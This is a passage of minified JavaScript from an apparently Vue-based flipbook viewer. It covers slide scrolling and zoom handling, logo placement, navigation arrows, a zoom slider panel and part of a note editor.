t=this.convertToOutputSlides(this.slidesCache);this.outputSlidesCache=this.getSlidesWithAllPages(t,this.outputSlidesCache),this.$nextTick((()=>{this.outputSlidesCache=this.getNonHiddenSlides(this.outputSlidesCache)}))},slidesCacheUpdate(){this.slidesCache=this.slides,this.delta=0,this.updateOutputSlides()},updatePendingSlide(){this.pendingSlide&&this.replaceCachedSlide(this.pendingSlide,this.slides.current)},replaceCachedSlide(t,e){this.slidesCache[t]=e,this.updateOutputSlides()},contentCreator:t=>Ps["content-"+t.type],refreshScroll(){this.isInitialZoom||(this.cancelDragging(),this.$nextTick((()=>{this.isZoomed&&"ready"===this.status?(this.initScrollComponent(this.dragActive),this.scrollComponent.refresh()):this.scrollComponent&&(this.slideScrollX=0,this.slideScrollY=0,this.$store.dispatch("text/setHolderScroll",{x:this.slideScrollX,y:this.slideScrollY}),this.scrollComponent.refresh(),this.scrollComponent.destroy(),delete this.scrollComponent)})))},initScrollComponent(){let t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];if(1===this.zoomFactor)return;this.scrollComponent?(this.slideScrollX=this.scrollComponent.x,this.slideScrollY=this.scrollComponent.y,this.scrollComponent.off("beforeScrollStart",this.setDragging),this.scrollComponent.off("scrollCancel",this.cancelDragging),this.scrollComponent.off("scroll",this.onScrollBegin),this.scrollComponent.off("scrollEnd",this.onScrollEnd),this.scrollComponent.destroy(),delete this.scrollComponent):(this.slideScrollX=this.containerSize.width<this.spreadSizes.current.width?Math.round(this.slideScrollLeft):0,this.slideScrollY=this.containerSize.height<this.spreadSizes.current.height?Math.round(this.slideScrollTop):0),this.scrollComponent=new vs.ZP(this.$refs.wrapper[0],{mouseWheel:t,scrollbars:!1,freeScroll:!this.isMobile,scrollX:this.containerSize.width<this.spreadSizes.current.width,scrollY:this.containerSize.height<this.spreadSizes.current.height,probeType:this.isSafari?3:1,bindToWrapper:this.isMobile,bounce:!1,useTransition:!0,startX:this.slideScrollX,startY:this.slideScrollY,disablePointer:!0,disableTouch:!1,disableMouse:!t}),this.$store.dispatch("text/setHolderScroll",{x:this.slideScrollX,y:this.slideScrollY}),this.scrollComponent.on("beforeScrollStart",this.setDragging),this.scrollComponent.on("scrollCancel",this.cancelDragging),this.scrollComponent.on("scroll",this.onScrollBegin),this.scrollComponent.on("scrollEnd",this.onScrollEnd);this.scrollComponent.scroller.translater.hooks.on("beforeTranslate",(()=>{"text-context-menu"===this.$store.state.workspace.activeInteractiveElement?this.$store.dispatch("workspace/setActiveInteractiveElement","selected-text"):"selected-text"!==this.$store.state.workspace.activeInteractiveElement&&this.$store.dispatch("workspace/setActiveInteractiveElement",null)}))},onScrollEnd:function(){this.cancelDragging(),this.slideScrollX=this.scrollComponent.x,this.slideScrollY=this.scrollComponent.y,this.$store.dispatch("text/setHolderScroll",{x:this.slideScrollX,y:this.slideScrollY})},onScrollBegin:function(){this.slideScrollX=this.scrollComponent.x,this.slideScrollY=this.scrollComponent.y,this.$store.dispatch("text/setHolderScroll",{x:this.slideScrollX,y:this.slideScrollY})},setDragging:function(){1!==this.zoomFactor&&(this.dragging=!0)},cancelDragging:function(){this.dragging=!1},onWheel(t){if(!(!this.wheelScroll||this.isMini||Date.now()-this.lastWheelTime<200||t.target&&"note-article"===t.target.className)){if(t.ctrlKey||t.metaKey){if("ready"!==this.status)return;const e=-1*t.deltaY,i=this.getSuitableZoomFactor(this.zoomFactor,e,this.minZoom,this.maxZoom);e<0&&!i&&this.zoomOut(!1,"wheel-zoom"),i&&(this.$store.dispatch("pager/setLastTarget","wheel-zoom"),this.setZoom(i,{x:t.clientX,y:t.clientY}))}else{if(this.zoomFactor>1||this.scaleFactor>1)return;this.$store.state.notes.opened&&this.$store.dispatch("notes/setOpenedId",{id:null}),t.deltaY>0&&(this.$store.getters["pager/nextPageId"]||0===this.$store.getters["pager/nextPageId"])?(this.checkFastSlide(this.isRTLBook?"left":"right"),this.$store.dispatch("pager/goForward",{target:"wheel"})):t.deltaY<0&&(this.$store.getters["pager/prevPageId"]||0===this.$store.getters["pager/prevPageId"])&&(this.checkFastSlide(this.isRTLBook?"right":"left"),this.$store.dispatch("pager/goBackward",{target:"wheel"}))}this.lastWheelTime=Date.now()}},updateSlideScroll(t){t&&!this.isZoomed||(this.containerSize.width<this.spreadSizes.current.width&&(this.slideScrollLeft=this.slideScrollX),this.containerSize.height<this.spreadSizes.current.height&&(this.slideScrollTop=this.slideScrollY))},addNote(){const t=this.$store.getters["pager/state"],e=t.spreadMode;let i=this.slides.current[0].id;e&&this.slides.current[1]&&this.isRtl===this.isLocaleRtl&&(i=this.slides.current[1].id);const s=e&&!(this.isLocaleRtl&&t.leftPage===t.rightPage),o=this.isSingleMode&&this.slides.current[0].wide&&"right"===this.slides.current[0].side,r=this.isSlideMode&&this.slides.current[0].wide,a=s||o;this.$store.dispatch("notes/addNote",{pageId:i,wide:r,wideRight:a,target:"slideBook"})},updateNoteIcon(){if(!this.noteIconShown)return this.noteIconClass=[],void(this.noteIconStyle=null);const t={},e=[];if(this.isLocaleRtl){e.push("left");const i=this.spreadSizes.current.left-30;t.left=Math.max(i,0)+"px",i>0&&e.push("outside")}else{e.push("right");const i=this.spreadSizes.current.left+this.spreadSizes.current.width;t.left=Math.min(i,this.containerSize.width-30)+"px",i<this.containerSize.width-30&&e.push("outside")}t.top=this.spreadSizes.current.top+"px",this.noteIconStyle=t,this.noteIconClass=e},onMouseLeave(t){this.onPanEnd(t),this.refreshScroll()}}},Ts=Cs;const Ms=(0,R.Z)(Ts,$s,zs,!1,null,"abc0669c",null).exports;var Is=function(){var t=this,e=t.$createElement,i=t._self._c||e;return t.showLogo?i("div",{staticClass:"logo-container",class:t.containerClasses,style:t.containerStyles},[i(t.logoLinkUrl?"button":"div",{tag:"component",staticClass:"logo-link",style:t.logoStyles,attrs:{role:t.logoLinkUrl?"link":"none",tabindex:t.logoLinkUrl?"0":"-1","aria-label":t.label},on:{click:t.onClick}},[t.customLogoUrl?i("img",{staticClass:"logo-custom",style:t.imageStyles,attrs:{src:t.customLogoUrl,tabindex:"-1"}}):i("svgicon",{ref:"svgLogo",staticClass:"logo-svg",attrs:{name:"made-with",focusable:"false",tabindex:"-1"}})],1)],1):t._e()},Ls=[];i(5284);const Rs={name:"Logo",data:function(){return{isReady:!1,crossOrigin:(0,d.Z)().getCrossOrigin(),originalWidth:0,originalHeight:0,globalPadding:10,minimalSize:60,maxWidthLimit:200,bottomMenu:null,customLogoUrl:null}},mounted(){this.logoLoad(),this.setSvgTransform(),this.setBottomMenu()},beforeDestroy(){this.destroyImgBlob()},computed:{target(){return this.$store.state.logo.target},logoLinkUrl(){return this.$store.state.logo.url||null},position(){return this.$store.state.logo.position},level(){return-1===this.position.indexOf("bottom")?"top":"bottom"},side(){return-1===this.position.indexOf("left")?"right":"left"},miniState(){return this.$store.state.workspace.mini},rawCustomLogoUrl(){return this.$store.getters["logo/customLogoUrl"]},hasDefaultLogo(){return this.$store.getters["logo/hasDefaultLogo"]},svgLogoColor(){return this.allowOpaqueBar&&"menuRect"===this.optimalRect.name?this.$store.state.skin.styles["main-icon-color"]:this.$store.state.skin.styles[(this.top?"top":"bottom")+"-"+(this.left?"left":"right")+"-icon-color"]},allowOpaqueBar(){return this.$store.state.logo.allowOpaqueBar},showLogo(){return this.$store.getters["logo/showLogo"]},containerSize(){return this.$store.getters["workspace/containerSize"]},holderSize(){return this.$store.getters["workspace/holderSize"]},workspaceSize(){return this.$store.getters["workspace/size"]},bottomMenuEnabled(){return this.$store.getters["workspace/desktopBottomBarVisible"]},maxWidth(){return Math.max(this.maxWidthLimit,this.containerSize.width/(this.bookMode?4:6))},bookMode(){return"flip-book"===this.$store.state.workspace.bookComponent},sideRect(){const t={};return t.width=(this.containerSize.width-this.holderSize.width)/2-2*this.globalPadding,t.height=this.containerSize.height/2-2*this.globalPadding,t[this.side]=this.globalPadding,t[this.level]=this.globalPadding,t.name="sideRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},levelRect(){const t={};return t.width=this.containerSize.width/2-2*this.globalPadding,t.height=(this.containerSize.height-this.holderSize.height)/2-2*this.globalPadding,t[this.side]=this.globalPadding,t[this.level]=this.globalPadding,t.name="levelRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},menuLevelRect(){if("top"===this.level||this.opaqueBottom||!this.bottomMenu)return{scale:0};const t={},e=this.bottomMenu.getBoundingClientRect();return t.width=(this.containerSize.width-e.width)/2-2*this.globalPadding,t.height=(this.workspaceSize.height-this.holderSize.height)/2-2*this.globalPadding,t[this.side]=this.globalPadding,t[this.level]=this.globalPadding-e.height,t.lockWidth=!0,t.name="menuLevelRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},menuSideRect(){if("top"===this.level||this.opaqueBottom||!this.bottomMenu)return{scale:0};const t={},e=this.bottomMenu.getBoundingClientRect();return t.width=(this.containerSize.width-Math.max(this.holderSize.width,e.width))/2-2*this.globalPadding,t.height=this.workspaceSize.height/2-2*this.globalPadding,t[this.side]=this.globalPadding,t[this.level]=this.globalPadding-e.height,t.name="menuSideRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},menuRect(){if("top"===this.level||this.opaqueBottom&&!this.allowOpaqueBar||!this.bottomMenu)return{scale:0};const t={},e=this.bottomMenu.getBoundingClientRect();return t.width=(this.containerSize.width-e.width)/2-10,t.height=e.height-10,t[this.side]=10,t[this.level]=8-e.height,t.lockWidth=!0,t.lockHeight=!0,t.name="menuRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},slideRect(){if(this.bookMode)return{scale:0};const t={};return t.width=this.containerSize.width/2,t.height=this.containerSize.height/2,t[this.side]=this.globalPadding,t[this.level]=this.globalPadding,t.sizeOverride=!0,t.name="slideRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},slideLevelRect(){if(this.bookMode||"top"===this.level||this.opaqueBottom||!this.bottomMenu)return{scale:0};const t={},e=this.bottomMenu.getBoundingClientRect();return t.width=(this.containerSize.width-e.width)/2-2*this.globalPadding,t.height=this.containerSize.height/2,t[this.side]=this.globalPadding,t[this.level]=this.globalPadding-e.height,t.sizeOverride=!0,t.lockWidth=!0,t.name="slideLevelRect",this.applySizeConstraints(t),t.scale=this.calculateScale(t),t},optimalRect(){const t=[this.menuRect];return this.bookMode?t.push(this.menuLevelRect,this.menuSideRect,this.levelRect,this.sideRect):t.push(this.slideLevelRect,this.slideRect),t.reduce(((t,e)=>e.scale>t.scale?e:t))},containerClasses(){return{overlap:!!this.optimalRect.sizeOverride}},containerStyles(){if(!this.optimalRect.scale)return{display:"none"};const t={opacity:this.isReady?1:0,width:this.originalWidth*this.optimalRect.scale+"px",height:this.originalHeight*this.optimalRect.scale+"px"};return t.top=(0,y.o8)(this.optimalRect.top)?null:this.optimalRect.top+"px",t.bottom=(0,y.o8)(this.optimalRect.bottom)?null:this.optimalRect.bottom+"px",t.left=(0,y.o8)(this.optimalRect.left)?null:this.optimalRect.left+"px",t.right=(0,y.o8)(this.optimalRect.right)?null:this.optimalRect.right+"px","0px"!==t.width&&"0px"!==t.height||(t.display="none"),t},logoStyles(){return this.hasDefaultLogo?{fill:this.svgLogoColor}:{}},imageStyles(){return{width:this.originalWidth*this.optimalRect.scale+"px",height:this.originalHeight*this.optimalRect.scale+"px"}},opaqueBottom(){return this.$store.state.skin&&this.$store.state.skin.styles&&(0,y.HD)(this.$store.state.skin.styles.classes)?-1!==this.$store.state.skin.styles.classes.indexOf("opaqueBottom"):null},label(){return this.logoLinkUrl?this.$i18n.t("TopMenu.EXTERNAL_LINK_TIP",{0:this.logoLinkUrl}):null}},watch:{bottomMenuEnabled(){this.setBottomMenu()},rawCustomLogoUrl:"logoLoad",hasDefaultLogo:"logoLoad",side:"setSvgTransform",optimalRect(t){this.$store.dispatch("logo/setFitRectName",t.name)}},methods:{setBottomMenu(){this.bottomMenu=this.bottomMenuEnabled?document.getElementsByClassName("bottom-toolbar")[0]:null},logoLoad(){this.isReady=!1,!this.hasDefaultLogo&&this.rawCustomLogoUrl?this.preloadImg(this.customLogoUrl):this.hasDefaultLogo&&(this.originalWidth=119,this.originalHeight=30,this.customLogoUrl=null,this.isReady=!0,this.$nextTick((()=>this.setSvgTransform())))},preloadImg(){(0,Me.Z)({url:this.rawCustomLogoUrl,callback:t=>{const e=document.createElement("img");e.onload=()=>{this.originalWidth=e.naturalWidth,this.originalHeight=e.naturalHeight,this.destroyImgBlob(),this.customLogoUrl=t,this.isReady=!0},e.onerror=()=>{},e.src=t,e.style.width="100%"}})},destroyImgBlob(){this.customLogoUrl&&window.URL.revokeObjectURL(this.customLogoUrl)},calculateScale(t){if(0===this.originalWidth||0===this.originalHeight)return 0;if(t.width<0||t.height<0)return 0;let e=1,i=1;return this.originalHeight>t.height&&(e=t.height/this.originalHeight),this.originalWidth>t.width&&(i=t.width/this.originalWidth),Math.min(i,e,1)},applySizeConstraints(t){!t.lockWidth&&t.width<this.originalWidth&&t.width<this.minimalSize&&(t.width=Math.max(this.minimalSize,t.width),t.sizeOverride=!0),!t.lockHeight&&t.height<this.originalHeight&&t.height<this.minimalSize&&(t.height=Math.max(this.minimalSize,t.height),t.sizeOverride=!0),t.width=Math.min(this.maxWidth,t.width)},onClick(){this.logoLinkUrl&&window.open(this.logoLinkUrl,"_blank");const t=this.$store.state.pager.currentPage;this.$root.$emit("link",{type:"external",source:"logo",url:this.logoLinkUrl,target:this.target,pageId:t})},setSvgTransform(){if(!this.hasDefaultLogo)return;const t=this.$refs.svgLogo?.$el.querySelector(".made-with");t&&("right"===this.side?t.setAttribute("transform","translate(62, 0)"):t.removeAttribute("transform"))}},components:{}};const Es=(0,R.Z)(Rs,Is,Ls,!1,null,"5bad4f5e",null).exports;var Fs=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"nav-arrows"},[t.isFirstPage?t._e():i("v-touch",t._g({staticClass:"nav-btn nav-left-arrow",attrs:{tag:"button",title:t.leftArrowTitle},nativeOn:{touchstart:function(t){t.preventDefault()},keydown:function(e){return t.leftButtonKeyHandler(e)}}},t.isEmbed?{tap:t.goLeft}:{tap:t.goLeft,swipeleft:function(e){return t.goRight(e,!0)},swiperight:function(e){return t.goLeft(e,!0)}}),[i("transition",{attrs:{name:"bars-fade"}},[t.show?i("svgicon",{staticClass:"arrow",attrs:{focusable:"false",name:"mobile-left",height:"100%"}}):t._e()],1)],1),t._v(" "),t.isLastPage?t._e():i("v-touch",t._g({staticClass:"nav-btn nav-right-arrow",attrs:{tag:"button",title:t.rightArrowTitle},nativeOn:{touchstart:function(t){t.preventDefault()},keydown:function(e){return t.rightButtonKeyHandler(e)}}},t.isEmbed?{tap:t.goRight}:{tap:t.goRight,swipeleft:function(e){return t.goRight(e,!0)},swiperight:function(e){return t.goLeft(e,!0)}}),[i("transition",{attrs:{name:"bars-fade"}},[t.show?i("svgicon",{staticClass:"arrow",attrs:{focusable:"false",name:"mobile-right",height:"100%"}}):t._e()],1)],1)],1)},Os=[];i(5843),i(9117);const _s={mixins:[g.Z],props:{show:Boolean},data:()=>({timeout:0,pointers:[]}),mounted(){document.body.addEventListener("pointerdown",this.pointerDown),document.body.addEventListener("pointerup",this.pointerUp),document.addEventListener("visibilitychange",this.onVisibilityChange)},beforeDestroy(){document.body.removeEventListener("pointerdown",this.pointerDown),document.body.removeEventListener("pointerup",this.pointerUp),document.removeEventListener("visibilitychange",this.onVisibilityChange),this.pointers=[]},computed:{isRTLBook:function(){return this.$store.state.book.rightToLeft},isFirstPage:function(){const t=null===this.$store.getters["pager/prevNonStubPageId"],e=null===this.$store.getters["pager/nextPageId"];return this.isRTLBook?e:t},isLastPage:function(){const t=null===this.$store.getters["pager/nextPageId"],e=null===this.$store.getters["pager/prevNonStubPageId"];return this.isRTLBook?e:t},isEmbed(){return this.$store.state.workspace.isEmbed},isZoomed(){return 1!==this.$store.state.pages.size.zoomFactor},leftArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.NEXT_PAGE_TIP"):this.$t("NavigationPanel.PREV_PAGE_TIP")},rightArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.PREV_PAGE_TIP"):this.$t("NavigationPanel.NEXT_PAGE_TIP")}},methods:{leftButtonKeyHandler(t){"Space"!==t.code&&"Enter"!==t.code||this.goLeft(t)},rightButtonKeyHandler(t){"Space"!==t.code&&"Enter"!==t.code||this.goRight(t)},goRight(t){let e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this.timeout>Date.now()||(this.$root.$emit("nav:goRight"),this.$store.state.pager.freezed||(setTimeout((()=>{this.movePagerRight({target:e?"nav-swipe":"nav-tap"})}),0),this.timeout=Date.now()+150))},goLeft(t){let e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this.timeout>Date.now()||(this.$root.$emit("nav:goLeft"),this.$store.state.pager.freezed||(setTimeout((()=>{this.movePagerLeft({target:e?"nav-swipe":"nav-tap"})}),0),this.timeout=Date.now()+150))},pointerDown(t){this.isZoomed&&this.pointers.push(t.pointerId)},pointerUp(t){this.pointers.length>1&&(this.timeout=Date.now()+150),this.pointers.splice(this.pointers.indexOf(t.pointerId),1)},onVisibilityChange(){this.pointers.length=0,this.timeout=0}}};const Ds=(0,R.Z)(_s,Fs,Os,!1,null,"713bdbfe",null).exports;var Ws=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{class:t.classes},[t.isFirstPage||t.isLightboxShown?t._e():i("div",{staticClass:"button-block left"},[i("button",{staticClass:"nav-btn next-btn nav-left-arrow",attrs:{tabindex:"0",title:t.leftArrowTitle},on:{click:function(e){return e.preventDefault(),t.goLeft(e)}}},[i("transition",{attrs:{name:"bars-fade"}},[t.show?i("svgicon",{staticClass:"arrow",attrs:{focusable:"false",name:"mobile-left",height:"100%"}}):t._e()],1)],1),t._v(" "),i("button",{staticClass:"nav-btn last-btn nav-first-left-arrow",attrs:{tabindex:"0",title:t.leftMostArrowTitle},on:{click:function(e){return e.preventDefault(),t.leftToTheLast(e)}}},[t.show?i("svgicon",{staticClass:"arrow",attrs:{focusable:"false",name:"book-first",height:"100%"}}):t._e()],1)]),t._v(" "),t.isLastPage||t.isLightboxShown?t._e():i("div",{staticClass:"button-block right"},[i("button",{staticClass:"nav-btn next-btn nav-right-arrow",attrs:{tabindex:"0",title:t.rightArrowTitle},on:{click:function(e){return e.preventDefault(),t.goRight(e)}}},[i("transition",{attrs:{name:"bars-fade"}},[t.show?i("svgicon",{staticClass:"arrow",attrs:{focusable:"false",name:"mobile-right",height:"100%"}}):t._e()],1)],1),t._v(" "),i("button",{staticClass:"nav-btn last-btn nav-last-right-arrow",attrs:{tabindex:"0",title:t.rightMostArrowTitle},on:{click:function(e){return e.preventDefault(),t.rightToTheLast(e)}}},[t.show?i("svgicon",{staticClass:"arrow",attrs:{focusable:"false",name:"book-last",height:"100%"}}):t._e()],1)])])},Bs=[];const As={mixins:[g.Z],props:{show:Boolean},data:()=>({timeout:0,classes:{"nav-arrows":!0,start:!0}}),mounted(){setTimeout((()=>{this.classes.start=!1}),8e3)},computed:{isLightboxShown(){return this.$store.getters["lightbox/isShown"]},isRTLBook:function(){return this.$store.state.book.rightToLeft},isFirstPage:function(){const t=null===this.$store.getters["pager/prevNonStubPageId"],e=null===this.$store.getters["pager/nextPageId"];return this.isRTLBook?e:t},isLastPage:function(){const t=null===this.$store.getters["pager/nextPageId"],e=null===this.$store.getters["pager/prevNonStubPageId"];return this.isRTLBook?e:t},isEmbed(){return this.$store.state.workspace.isEmbed},leftArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.NEXT_PAGE_TIP"):this.$t("NavigationPanel.PREV_PAGE_TIP")},rightArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.PREV_PAGE_TIP"):this.$t("NavigationPanel.NEXT_PAGE_TIP")},leftMostArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.LAST_PAGE_TIP"):this.$t("NavigationPanel.FIRST_PAGE_TIP")},rightMostArrowTitle(){return this.isRTLBook?this.$t("NavigationPanel.FIRST_PAGE_TIP"):this.$t("NavigationPanel.LAST_PAGE_TIP")},animationInProgress(){return this.$store.state.workspace.animationInProgress}},watch:{animationInProgress(){this.classes.start=!1}},methods:{goRight(t){let e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this.timeout>Date.now()||(this.$root.$emit("nav:goRight"),this.movePagerRight({target:e?"nav-swipe":"nav-tap"}),this.timeout=Date.now()+150)},goLeft(t){let e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this.timeout>Date.now()||(this.$root.$emit("nav:goLeft"),this.movePagerLeft({target:e?"nav-swipe":"nav-tap"}),this.timeout=Date.now()+150)},rightToTheLast(){this.timeout>Date.now()||(this.movePagerRightmost({navTarget:!0}),this.timeout=Date.now()+150)},leftToTheLast(){this.timeout>Date.now()||(this.movePagerLeftmost({navTarget:!0}),this.timeout=Date.now()+150)}}};const Hs=(0,R.Z)(As,Ws,Bs,!1,null,"b2596fc6",null).exports;var Ns=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"zoom-panel",class:t.panelClass,style:t.panelStyle,attrs:{id:"zoom-panel",dir:t.dir}},[i("span",{staticClass:"zoom-panel-caption minus",attrs:{title:t.$t("ZoomBar.ZOOM_OUT_TIP")},on:{click:t.zoomOut}},[t._v("–")]),t._v(" "),i("div",{ref:"zoomLine",staticClass:"zoom-panel-line",on:{click:t.lineClick}},[i("v-touch",{ref:"zoomSlider",staticClass:"zoom-panel-slider",style:t.sliderStyle,attrs:{id:"zoom-slider","pan-options":{direction:"horizontal",threshold:1}},on:{panstart:t.onPanStart,panmove:t.onPanMove,panend:t.onPanEnd,pancancel:t.onPanEnd}})],1),t._v(" "),i("span",{staticClass:"zoom-panel-caption plus",attrs:{title:t.$t("ZoomBar.ZOOM_IN_TIP")},on:{click:t.zoomIn}},[t._v("+")])])},Zs=[];i(169),i(2209);const Vs={name:"ZoomPanel",data:function(){return{scalePosition:0,savedScalePosition:null,lineWidth:90,forceOpacity:!1,forceVisibility:!1,opacityTimer:null,isGrabbing:!1}},mounted(){window.addEventListener("keydown",this.keyDownHandler),this.$root.$on("unzoomed",this.hide),this.updateScalePosition(this.zoomFactor)},beforeDestroy(){window.removeEventListener("keydown",this.keyDownHandler),this.$root.$off("unzoomed",this.hide)},watch:{zoomFactor:"updateScalePosition",minZoom(t){this.zoomFactor>t?this.scalePosition=1*((this.zoomFactor-t)/(this.maxZoom-t)).toFixed(2):this.scalePosition=0},scalePosition(){this.forceOpacity=!0,clearTimeout(this.opacityTimer),this.opacityTimer=setTimeout((()=>{this.forceOpacity=!1}),2e3)},pagerState(){this.forceVisibility=!1},visible(t){this.$store.dispatch("workspace/setZoomPanel",t)},zoomPanel(t){t||(this.forceVisibility=!1)}},computed:{zoomFactor(){return this.$store.state.pages.size.zoomFactor},isRtl(){return this.$store.getters["i18n/isLocaleRtl"]},dir(){return this.isRtl?"rtl":"ltr"},pagerState(){return[this.$store.state.pager.currentPage]},visible(){return this.zoomFactor>this.minZoom||this.forceVisibility},zoomPanel(){return this.$store.state.workspace.zoomPanel},minZoom(){if("slide-book"===this.$store.state.workspace.bookComponent)return 1;const t=this.isHardcover&&(this.isFirstPage||this.isLastPage)?1.03:1,e=this.isSingleMode?1:2,i=this.$store.state.workspace.bookSize/100,s=this.$store.state.workspace.containerSize.height*i/(this.$store.state.pages.size.height*t/this.$store.state.pages.size.zoomFactor),o=this.$store.state.workspace.containerSize.width*i/(this.$store.state.pages.size.width*t*e/this.$store.state.pages.size.zoomFactor),r=Math.round(100*s)/100,a=Math.round(100*o)/100;return Math.min(r,a)},isFirstPage:function(){return this.$store.getters["pager/isFirstSpread"]},isLastPage:function(){return this.$store.getters["pager/isLastSpread"]},isSingleMode(){return"single"===this.$store.getters["pager/mode"]},maxZoom(){return this.$store.state.workspace.maxZoom},sliderStyle(){const t={},e=6;return this.isRtl?t.right=Math.round((this.lineWidth-e)*this.scalePosition)+"px":t.left=Math.round((this.lineWidth-e)*this.scalePosition)+"px",t},panelClass(){return{grabbing:this.isGrabbing}},panelStyle(){return{opacity:this.forceOpacity?.9:null,visibility:this.visible?"visible":"hidden"}},shouldBlockHotkeys(){return null!==this.$store.state.popup.opened||this.$store.state.workspace.modalOpened||this.$store.getters["lightbox/isShown"]}},methods:{zoomOut(){if(!this.$store.state.workspace.animationInProgress&&(!1!==this.forceVisibility||0!==this.scalePosition)){if(this.scalePosition>.1)this.scalePosition-=.1;else{if(!0===this.forceVisibility&&0===this.scalePosition)return this.forceVisibility=!1,void this.$root.$emit("zoomPanel",{action:"zoomOut"});this.forceVisibility=!0,this.scalePosition=0}this.$root.$emit("zoomPanel",{action:"setZoom",zoomFactor:1*(this.scalePosition*(this.maxZoom-this.minZoom)+this.minZoom).toFixed(2),fast:!0})}},zoomOutFull(){this.$store.state.workspace.animationInProgress||(this.forceVisibility=!1,this.$root.$emit("zoomPanel",{action:"zoomOut"}))},zoomIn(){this.$store.state.workspace.animationInProgress||(0!==this.scalePosition||this.visible?(this.scalePosition<0&&(this.scalePosition=0),this.scalePosition<.9?this.scalePosition+=.1:this.scalePosition=1,this.$root.$emit("zoomPanel",{action:"setZoom",zoomFactor:1*(this.scalePosition*(this.maxZoom-this.minZoom)+this.minZoom).toFixed(2),fast:!0})):this.$root.$emit("zoomPanel",{action:"zoomIn"}))},lineClick(t){if(this.$store.state.workspace.animationInProgress)return;const e=this.$refs.zoomLine.getBoundingClientRect();this.isRtl?this.scalePosition=(this.lineWidth-t.clientX+e.left)/this.lineWidth:this.scalePosition=(t.clientX-e.left)/this.lineWidth,this.scalePosition<=0&&(this.scalePosition=0),0===this.scalePosition&&(this.forceVisibility=!0),this.$nextTick((()=>{this.$root.$emit("zoomPanel",{action:"setZoom",zoomFactor:1*(this.scalePosition*(this.maxZoom-this.minZoom)+this.minZoom).toFixed(2),fast:!1})}))},onPanStart(){this.savedScalePosition=this.scalePosition,this.isGrabbing=!0,this.$root.$emit("zoomPanel",{action:"startScale"})},onPanMove(t){const e=1*(this.isRtl?-t.deltaX/this.lineWidth:t.deltaX/this.lineWidth).toFixed(2);this.scalePosition=this.savedScalePosition+e,this.scalePosition>1&&(this.scalePosition=1),this.scalePosition<=0&&(this.scalePosition=0);const i=this.scalePosition/this.savedScalePosition;this.$root.$emit("zoomPanel",{action:"changeScale",scalePosition:this.scalePosition,scaleRatio:i})},onPanEnd(t){this.isGrabbing=!1;const e=1*(this.isRtl?-t.deltaX/this.lineWidth:t.deltaX/this.lineWidth).toFixed(2);this.scalePosition+=e,this.scalePosition>1&&(this.scalePosition=1),this.scalePosition<=0&&(this.scalePosition=0),0===this.scalePosition?this.forceVisibility=!0:this.forceVisibility=!1,this.$root.$emit("zoomPanel",{action:"endScale",zoomFactor:this.scalePosition*(this.maxZoom-this.minZoom)+this.minZoom})},keyDownHandler(t){if(((0,y.Ft)(t.target)||(0,y.o8)(t.target)||"input"!==t.target.tagName.toLowerCase()&&"textarea"!==t.target.tagName.toLowerCase()&&"select"!==t.target.tagName.toLowerCase()&&"option"!==t.target.tagName.toLowerCase())&&!this.shouldBlockHotkeys)switch(t.code){case"Equal":case"NumpadAdd":(t.metaKey||t.ctrlKey)&&(t.preventDefault(),this.zoomIn());break;case"Minus":case"NumpadSubtract":(t.metaKey||t.ctrlKey)&&(t.preventDefault(),this.zoomOut());break;case"Digit0":(t.metaKey||t.ctrlKey)&&this.zoomOutFull()}},hide(){this.forceVisibility=!1,this.$store.dispatch("workspace/setZoomPanel",!1)},updateScalePosition(t){t>this.minZoom?this.scalePosition=1*((t-this.minZoom)/(this.maxZoom-this.minZoom)).toFixed(2):this.scalePosition=0}}};const Us=(0,R.Z)(Vs,Ns,Zs,!1,null,"9d1e0d5e",null).exports;var Gs=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"note-editor"},[t.showRect?i("div",{ref:"rect",class:t.rectClass,style:t.rectStyle,attrs:{role:"dialog"},on:{mousedown:function(t){t.stopPropagation()}}},[i("div",{staticClass:"note-body"},[i("textarea",{directives:[{name:"model",rawName:"v-model",value:t.textAreaValue,expression:"textAreaValue"}],ref:"text",staticClass:"note-article",attrs:{role:"textbox",dir:t.textareaDir,maxlength:"500",placeholder:t.localization.placeholderText,tabindex:"0"},domProps:{value:t.textAreaValue},on:{focus:t.focusTextArea,keydown:function(e){return(e.type.indexOf("key")||13===e.keyCode)&&e.ctrlKey?t.setViewState(e):null},input:function(e){e.target.composing||(t.textAreaValue=e.target.value)}}})]),t._v(" "),i("div",{staticClass:"note-footer",attrs:{"aria-hidden":"true"}},[i("div",{class:t.colorSetClass},[i("div",{staticClass:"note-border-color green",attrs:{title:t.localization.colorGreen},on:{click:function(e){return t.setColor("green")}}},[i("div",{staticClass:"note-color"})]),t._v(" "),i("div",{staticClass:"note-border-color blue",attrs:{title:t.localization.colorBlue},on:{click:function(e){return t.setColor("blue")}}},[i("div",{staticClass:"note-color"})]),t._v(" "),i("div",{staticClass:"note-border-color violet",attrs:{title:t.localization.colorViolet},on:{click:function(e){return t.setColor("violet")}}},[i("div",{staticClass:"note-color"})]),t._v(" "),i("div",{staticClass:"note-border-color red",attrs:{title:t.localization.colorRed},on:{click:function(e){return t.setColor("red")}}},[i("div",{staticClass:"note-color"})]),t._v(" "),i("div",{staticClass:"note-border-color orange",attrs:{title:t.localization.colorOrange},on:{click:function(e){return t.setColor("orange")}}},[i("div",{staticClass:"note-color"})]),t._v(" "),i("div",{staticClass:"note-border-color gray",attrs:{title:t.localization.colorGray},on:{click:function(e){return t.setColor("gray")}}},[i("div",{staticClass:"note-color"})])]),t._v(" 